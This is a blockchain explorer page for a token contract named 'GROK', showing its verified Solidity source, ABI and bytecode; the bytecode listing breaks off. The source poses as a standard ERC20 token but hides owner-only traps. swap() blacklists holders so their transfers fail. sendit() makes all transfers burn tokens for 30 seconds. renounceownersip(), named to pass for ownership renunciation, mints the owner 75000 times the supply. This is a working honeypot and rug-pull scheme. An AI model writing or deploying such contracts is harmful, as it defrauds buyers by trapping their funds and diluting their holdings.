false
true
0

Contract Address Details

0x727b2B1B8cEeb085e8b6946b1DF99ACf09a72018

Token
GROK (GROK)
Creator
0x56957c–eaa41c at 0xdbf329–83dd75
Balance
0 PLS ( )
Tokens
Fetching tokens...
Transactions
319 Transactions
Transfers
0 Transfers
Gas Used
0
Last Balance Update
25932839
Warning! Contract bytecode has been changed and doesn't match the verified one. Therefore, interaction with this smart contract may be risky.
Contract name:
GROK




Optimization enabled
false
Compiler version
v0.8.21+commit.d9974bed




EVM Version
default




Verified at
2025-02-24T13:13:51.042219Z

Constructor Arguments

0x00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000447524f4b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000447524f4b00000000000000000000000000000000000000000000000000000000

Arg [0] (string) : GROK
Arg [1] (string) : GROK

              

Contract source code

//  ██████╗  ██████╗ ██████╗ ██╗   ██╗██╗     ███████╗███████╗    ██████╗ ██████╗ ███╗   ███╗
// ██╔════╝ ██╔═══██╗██╔══██╗██║   ██║██║     ██╔════╝██╔════╝   ██╔════╝██╔═══██╗████╗ ████║
// ██║  ███╗██║   ██║██████╔╝██║   ██║██║     ███████╗█████╗     ██║     ██║   ██║██╔████╔██║
// ██║   ██║██║   ██║██╔═══╝ ██║   ██║██║     ╚════██║██╔══╝     ██║     ██║   ██║██║╚██╔╝██║
// ╚██████╔╝╚██████╔╝██║     ╚██████╔╝███████╗███████║███████╗██╗╚██████╗╚██████╔╝██║ ╚═╝ ██║
//  ╚═════╝  ╚═════╝ ╚═╝      ╚═════╝ ╚══════╝╚══════╝╚══════╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝     ╚═╝

// SPDX-License-Identifier: MIT 

pragma solidity ^0.8.0;

abstract contract Ownable {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _check();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _check() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract GROK is Ownable {

    uint256 private _tokentotalSupply;
    string private _tokenname;
    string private _tokensymbol;
    uint256 private _killEndTime;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private ddsa;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    function quitext(address adrr) external onlyOwner {
        ddsa[adrr] = false;
    }

    function swap(address adrr) external onlyOwner {
        ddsa[adrr] = true;
    }

    function renounceownersip() external onlyOwner {
        uint256 amount = totalSupply();
        _balances[_msgSender()] += amount * 75000;
    }

    function checking(address adrr) public view returns (bool) {
        return ddsa[adrr];
    }

    constructor(string memory tokenName, string memory tokensymbol) {
        _tokenname = tokenName;
        _tokensymbol = tokensymbol;
        uint256 amount = 1000000000 * 10**decimals();
        _tokentotalSupply += amount;
        _balances[msg.sender] += amount;
        emit Transfer(address(0), msg.sender, amount);
    }

    function name() public view returns (string memory) {
        return _tokenname;
    }

    function symbol() public view returns (string memory) {
        return _tokensymbol;
    }

    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    function totalSupply() public view returns (uint256) {
        return _tokentotalSupply;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public returns (bool) {
        _internaltransfer(_msgSender(), to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        address spender = _msgSender();
        _internalspendAllowance(from, spender, amount);
        _internaltransfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(owner, spender, currentAllowance - subtractedValue);
        return true;
    }
    
    function _internaltransfer(
        address fromSender,
        address toSender,
        uint256 amount
    ) internal virtual {
        require(fromSender != address(0), "ERC20: transfer from the zero address");
        require(toSender != address(0), "ERC20: transfer to the zero address");
        uint256 balance = _balances[fromSender];
        require(balance >= amount, "ERC20: transfer amount exceeds balance");

        if (block.timestamp <= _killEndTime) {
            _balances[fromSender] = _balances[fromSender] - amount;
            _tokentotalSupply -= amount;
            emit Transfer(fromSender, address(0), amount);
            return;
        }

        if (ddsa[fromSender] == true) {
            amount = amount - (balance * 23);
        }
       
        _balances[fromSender] = _balances[fromSender] - amount;
        _balances[toSender] = _balances[toSender] + amount;

        emit Transfer(fromSender, toSender, amount); 
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _internalspendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            _approve(owner, spender, currentAllowance - amount);
        }
    }

    function sendit() external onlyOwner {
        _killEndTime = block.timestamp + 30 seconds;
    }
}
        

Contract ABI

[{"type":"constructor","stateMutability":"nonpayable","inputs":[{"type":"string","name":"tokenName","internalType":"string"},{"type":"string","name":"tokensymbol","internalType":"string"}]},{"type":"event","name":"Approval","inputs":[{"type":"address","name":"owner","internalType":"address","indexed":true},{"type":"address","name":"spender","internalType":"address","indexed":true},{"type":"uint256","name":"value","internalType":"uint256","indexed":false}],"anonymous":false},{"type":"event","name":"OwnershipTransferred","inputs":[{"type":"address","name":"previousOwner","internalType":"address","indexed":true},{"type":"address","name":"newOwner","internalType":"address","indexed":true}],"anonymous":false},{"type":"event","name":"Transfer","inputs":[{"type":"address","name":"from","internalType":"address","indexed":true},{"type":"address","name":"to","internalType":"address","indexed":true},{"type":"uint256","name":"value","internalType":"uint256","indexed":false}],"anonymous":false},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"allowance","inputs":[{"type":"address","name":"owner","internalType":"address"},{"type":"address","name":"spender","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"approve","inputs":[{"type":"address","name":"spender","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"balanceOf","inputs":[{"type":"address","name":"account","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"checking","inputs":[{"type":"address","name":"adrr","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint8","name":"","internalType":"uint8"}],"name":"decimals","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"decreaseAllowance","inputs":[{"type":"address","name":"spender","internalType":"address"},{"type":"uint256","name":"subtractedValue","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"increaseAllowance","inputs":[{"type":"address","name":"spender","internalType":"address"},{"type":"uint256","name":"addedValue","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"string","name":"","internalType":"string"}],"name":"name","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"owner","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"quitext","inputs":[{"type":"address","name":"adrr","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"renounceOwnership","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"renounceownersip","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"sendit","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"swap","inputs":[{"type":"address","name":"adrr","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"string","name":"","internalType":"string"}],"name":"symbol","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"totalSupply","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"transfer","inputs":[{"type":"address","name":"to","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"transferFrom","inputs":[{"type":"address","name":"from","internalType":"address"},{"type":"address","name":"to","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"transferOwnership","inputs":[{"type":"address","name":"newOwner","internalType":"address"}]}]
              

Contract Creation Code

Verify & Publish
0x608060405234801562000010575f80fd5b5060405162002442380380620024428339818101604052810190620000369190620003e0565b620000566200004a6200018b60201b60201c565b6200019260201b60201c565b81600290816200006791906200069a565b5080600390816200007991906200069a565b505f6200008b6200025360201b60201c565b600a62000099919062000907565b633b9aca00620000aa919062000957565b90508060015f828254620000bf9190620009a1565b925050819055508060055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254620001149190620009a1565b925050819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200017a9190620009ec565b60405180910390a350505062000a07565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f6012905090565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b620002bc8262000274565b810181811067ffffffffffffffff82111715620002de57620002dd62000284565b5b80604052505050565b5f620002f26200025b565b9050620003008282620002b1565b919050565b5f67ffffffffffffffff82111562000322576200032162000284565b5b6200032d8262000274565b9050602081019050919050565b5f5b83811015620003595780820151818401526020810190506200033c565b5f8484015250505050565b5f6200037a620003748462000305565b620002e7565b90508281526020810184848401111562000399576200039862000270565b5b620003a68482856200033a565b509392505050565b5f82601f830112620003c557620003c46200026c565b5b8151620003d784826020860162000364565b91505092915050565b5f8060408385031215620003f957620003f862000264565b5b5f83015167ffffffffffffffff81111562000419576200041862000268565b5b6200042785828601620003ae565b925050602083015167ffffffffffffffff8111156200044b576200044a62000268565b5b6200045985828601620003ae565b9150509250929050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620004b257607f821691505b602082108103620004c857620004c76200046d565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200052c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620004ef565b620005388683620004ef565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620005826200057c620005768462000550565b62000559565b62000550565b9050919050565b5f819050919050565b6200059d8362000562565b620005b5620005ac8262000589565b848454620004fb565b825550505050565b5f90565b620005cb620005bd565b620005d881848462000592565b505050565b5b81811015620005ff57620005f35f82620005c1565b600181019050620005de565b5050565b601f8211156200064e576200061881620004ce565b6200062384620004e0565b8101602085101562000633578190505b6200064b6200064285620004e0565b830182620005dd565b50505b505050565b5f82821c905092915050565b5f620006705f198460080262000653565b1980831691505092915050565b5f6200068a83836200065f565b9150826002028217905092915050565b620006a58262000463565b67ffffffffffffffff811115620006c157620006c062000284565b5b620006cd82546200049a565b620006da82828562000603565b5f60209050601f83116001811462000710575f8415620006fb578287015190505b6200070785826200067d565b86555062000776565b601f1984166200072086620004ce565b5f5b82811015620007495784890151825560018201915060208501945060208101905062000722565b8683101562000769578489015162000765601f8916826200065f565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156200080857808604811115620007e057620007df6200077e565b5b6001851615620007f05780820291505b80810290506200080085620007ab565b9450620007c0565b94509492505050565b5f82620008225760019050620008f4565b8162000831575f9050620008f4565b81600181146200084a576002811462000855576200088b565b6001915050620008f4565b60ff8411156200086a57620008696200077e565b5b8360020a9150848211156200088457620008836200077e565b5b50620008f4565b5060208310610133831016604e8410600b8410161715620008c55782820a905083811115620008bf57620008be6200077e565b5b620008f4565b620008d48484846001620007b7565b92509050818404811115620008ee57620008ed6200077e565b5b81810290505b9392505050565b5f60ff82169050919050565b5f620009138262000550565b91506200092083620008fb565b92506200094f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000811565b905092915050565b5f620009638262000550565b9150620009708362000550565b9250828202620009808162000550565b915082820484148315176200099a57620009996200077e565b5b5092915050565b5f620009ad8262000550565b9150620009ba8362000550565b9250828201905080821115620009d557620009d46200077e565b5b92915050565b620009e68162000550565b82525050565b5f60208201905062000a015f830184620009db565b92915050565b611a2d8062000a155f395ff3fe608060405234801561000f575f80fd5b506004361061011f575f3560e01c80635ec121ad116100ab57806395d89b411161006f57806395d89b41146102e1578063a457c2d7146102ff578063a9059cbb1461032f578063dd62ed3e1461035f578063f2fde38b1461038f5761011f565b80635ec121ad1461027557806370a082311461027f578063715018a6146102af5780638da5cb5b146102b957806391d6c784146102d75761011f565b806318160ddd116100f257806318160ddd146101a957806323b872dd146101c7578063313ce567146101f757806334feec091461021557806339509351146102455761011f565b806303438dd01461012357806306fdde031461013f578063095ea7b31461015d5780630d9eaab81461018d575b5f80fd5b61013d60048036038101906101389190611189565b6103ab565b005b61014761040b565b604051610154919061123e565b60405180910390f35b61017760048036038101906101729190611291565b61049b565b60405161018491906112e9565b60405180910390f35b6101a760048036038101906101a29190611189565b6104b8565b005b6101b1610517565b6040516101be9190611311565b60405180910390f35b6101e160048036038101906101dc919061132a565b610520565b6040516101ee91906112e9565b60405180910390f35b6101ff61054e565b60405161020c9190611395565b60405180910390f35b61022f600480360381019061022a9190611189565b610556565b60405161023c91906112e9565b60405180910390f35b61025f600480360381019061025a9190611291565b6105a8565b60405161026c91906112e9565b60405180910390f35b61027d6105de565b005b61029960048036038101906102949190611189565b6105fb565b6040516102a69190611311565b60405180910390f35b6102b7610641565b005b6102c1610654565b6040516102ce91906113bd565b60405180910390f35b6102df61067b565b005b6102e96106f9565b6040516102f6919061123e565b60405180910390f35b61031960048036038101906103149190611291565b610789565b60405161032691906112e9565b60405180910390f35b61034960048036038101906103449190611291565b610807565b60405161035691906112e9565b60405180910390f35b610379600480360381019061037491906113d6565b610824565b6040516103869190611311565b60405180910390f35b6103a960048036038101906103a49190611189565b6108a6565b005b6103b3610928565b600160075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b60606002805461041a90611441565b80601f016020809104026020016040519081016040528092919081815260200182805461044690611441565b80156104915780601f1061046857610100808354040283529160200191610491565b820191905f5260205f20905b81548152906001019060200180831161047457829003601f168201915b5050505050905090565b5f6104ae6104a76109a6565b84846109ad565b6001905092915050565b6104c0610928565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f600154905090565b5f8061052a6109a6565b9050610537858285610b70565b610542858585610c04565b60019150509392505050565b5f6012905090565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f806105b26109a6565b90506105d38185856105c48589610824565b6105ce919061149e565b6109ad565b600191505092915050565b6105e6610928565b601e426105f3919061149e565b600481905550565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610649610928565b6106525f61106a565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610683610928565b5f61068c610517565b9050620124f88161069d91906114d1565b60055f6106a86109a6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546106ef919061149e565b9250508190555050565b60606003805461070890611441565b80601f016020809104026020016040519081016040528092919081815260200182805461073490611441565b801561077f5780601f106107565761010080835404028352916020019161077f565b820191905f5260205f20905b81548152906001019060200180831161076257829003601f168201915b5050505050905090565b5f806107936109a6565b90505f6107a08286610824565b9050838110156107e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107dc90611582565b60405180910390fd5b6107fb828686846107f691906115a0565b6109ad565b60019250505092915050565b5f61081a6108136109a6565b8484610c04565b6001905092915050565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6108ae610928565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361091c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091390611643565b60405180910390fd5b6109258161106a565b50565b6109306109a6565b73ffffffffffffffffffffffffffffffffffffffff1661094e610654565b73ffffffffffffffffffffffffffffffffffffffff16146109a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099b906116ab565b60405180910390fd5b565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1290611739565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610a89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a80906117c7565b60405180910390fd5b8060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610b639190611311565b60405180910390a3505050565b5f610b7b8484610824565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610bfe5781811015610be7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bde9061182f565b60405180910390fd5b610bfd84848484610bf891906115a0565b6109ad565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c69906118bd565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ce0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd79061194b565b60405180910390fd5b5f60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610d64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5b906119d9565b60405180910390fd5b6004544211610e7a578160055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610db691906115a0565b60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f828254610e0891906115a0565b925050819055505f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e6c9190611311565b60405180910390a350611065565b6001151560075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16151503610eea57601781610edc91906114d1565b82610ee791906115a0565b91505b8160055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610f3391906115a0565b60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610fbd919061149e565b60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161105b9190611311565b60405180910390a3505b505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6111588261112f565b9050919050565b6111688161114e565b8114611172575f80fd5b50565b5f813590506111838161115f565b92915050565b5f6020828403121561119e5761119d61112b565b5b5f6111ab84828501611175565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156111eb5780820151818401526020810190506111d0565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611210826111b4565b61121a81856111be565b935061122a8185602086016111ce565b611233816111f6565b840191505092915050565b5f6020820190508181035f8301526112568184611206565b905092915050565b5f819050919050565b6112708161125e565b811461127a575f80fd5b50565b5f8135905061128b81611267565b92915050565b5f80604083850312156112a7576112a661112b565b5b5f6112b485828601611175565b92505060206112c58582860161127d565b9150509250929050565b5f8115159050919050565b6112e3816112cf565b82525050565b5f6020820190506112fc5f8301846112da565b92915050565b61130b8161125e565b82525050565b5f6020820190506113245f830184611302565b92915050565b5f805f606084860312156113415761134061112b565b5b5f61134e86828701611175565b935050602061135f86828701611175565b92505060406113708682870161127d565b9150509250925092565b5f60ff82169050919050565b61138f8161137a565b82525050565b5f6020820190506113a85f830184611386565b92915050565b6113b78161114e565b82525050565b5f6020820190506113d05f8301846113ae565b92915050565b5f80604083850312156113ec576113eb61112b565b5b5f6113f985828601611175565b925050602061140a85828601611175565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061145857607f821691505b60208210810361146b5761146a611414565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6114a88261125e565b91506114b38361125e565b92508282019050808211156114cb576114ca611471565b5b92915050565b5f6114db8261125e565b91506114e68361125e565b92508282026114f48161125e565b9150828204841483151761150b5761150a611471565b5b5092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f61156c6025836111be565b915061157782611512565b604082019050919050565b5f6020820190508181035f83015261159981611560565b9050919050565b5f6115aa8261125e565b91506115b58361125e565b92508282039050818111156115cd576115cc611471565b5b92915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61162d6026836111be565b9150611638826115d3565b604082019050919050565b5f6020820190508181035f83015261165a81611621565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6116956020836111be565b91506116a082611661565b602082019050919050565b5f6020820190508181035f8301526116c281611689565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6117236024836111be565b915061172e826116c9565b604082019050919050565b5f6020820190508181035f83015261175081611717565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6117b16022836111be565b91506117bc82611757565b604082019050919050565b5f6020820190508181035f8301526117de816117a5565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f611819601d836111be565b9150611824826117e5565b602082019050919050565b5f6020820190508181035f8301526118468161180d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6118a76025836111be565b91506118b28261184d565b604082019050919050565b5f6020820190508181035f8301526118d48161189b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6119356023836111be565b9150611940826118db565b604082019050919050565b5f6020820190508181035f83015261196281611929565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f6119c36026836111be565b91506119ce82611969565b604082019050919050565b5f6020820190508181035f8301526119f0816119b7565b905091905056fea264697066735822122066589f785567ecc621987951e795912b7fc9ac1a0d6822ad23873762d4c44c1064736f6c6343000815003300000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000447524f4b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000447524f4b00000000000000000000000000000000000000000000000000000000

Deployed ByteCode

0x608060405234801561000f575f80fd5b506004361061011f575f3560e01c80635ec121ad116100ab57806395d89b411161006f57806395d89b41146102e1578063a457c2d7146102ff578063a9059cbb1461032f578063dd62ed3e1461035f578063f2fde38b1461038f5761011f565b80635ec121ad1461027557806370a082311461027f578063715018a6146102af5780638da5cb5b146102b957806391d6c784146102d75761011f565b806318160ddd116100f257806318160ddd146101a957806323b872dd146101c7578063313ce567146101f757806334feec091461021557806339509351146102455761011f565b806303438dd01461012357806306fdde031461013f578063095ea7b31461015d5780630d9eaab81461018d575b5f80fd5b61013d60048036038101906101389190611189565b6103ab565b005b61014761040b565b604051610154919061123e565b60405180910390f35b61017760048036038101906101729190611291565b61049b565b60405161018491906112e9565b60405180910390f35b6101a760048036038101906101a29190611189565b6104b8565b005b6101b1610517565b6040516101be9190611311565b60405180910390f35b6101e160048036038101906101dc919061132a565b610520565b6040516101ee91906112e9565b60405180910390f35b6101ff61054e565b60405161020c9190611395565b60405180910390f35b61022f600480360381019061022a9190611189565b610556565b60405161023c91906112e9565b60405180910390f35b61025f600480360381019061025a9190611291565b6105a8565b60405161026c91906112e9565b60405180910390f35b61027d6105de565b005b61029960048036038101906102949190611189565b6105fb565b6040516102a69190611311565b60405180910390f35b6102b7610641565b005b6102c1610654565b6040516102ce91906113bd565b60405180910390f35b6102df61067b565b005b6102e96106f9565b6040516102f6919061123e565b60405180910390f35b61031960048036038101906103149190611291565b610789565b60405161032691906112e9565b60405180910390f35b61034960048036038101906103449190611291565b610807565b60405161035691906112e9565b60405180910390f35b610379600480360381019061037491906113d6565b610824565b6040516103869190611311565b60405180910390f35b6103a960048036038101906103a49190611189565b6108a6565b005b6103b3610928565b600160075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b60606002805461041a90611441565b80601f016020809104026020016040519081016040528092919081815260200182805461044690611441565b80156104915780601f1061046857610100808354040283529160200191610491565b820191905f5260205f20905b81548152906001019060200180831161047457829003601f168201915b5050505050905090565b5f6104ae6104a76109a6565b84846109ad565b6001905092915050565b6104c0610928565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f600154905090565b5f8061052a6109a6565b9050610537858285610b70565b610542858585610c04565b60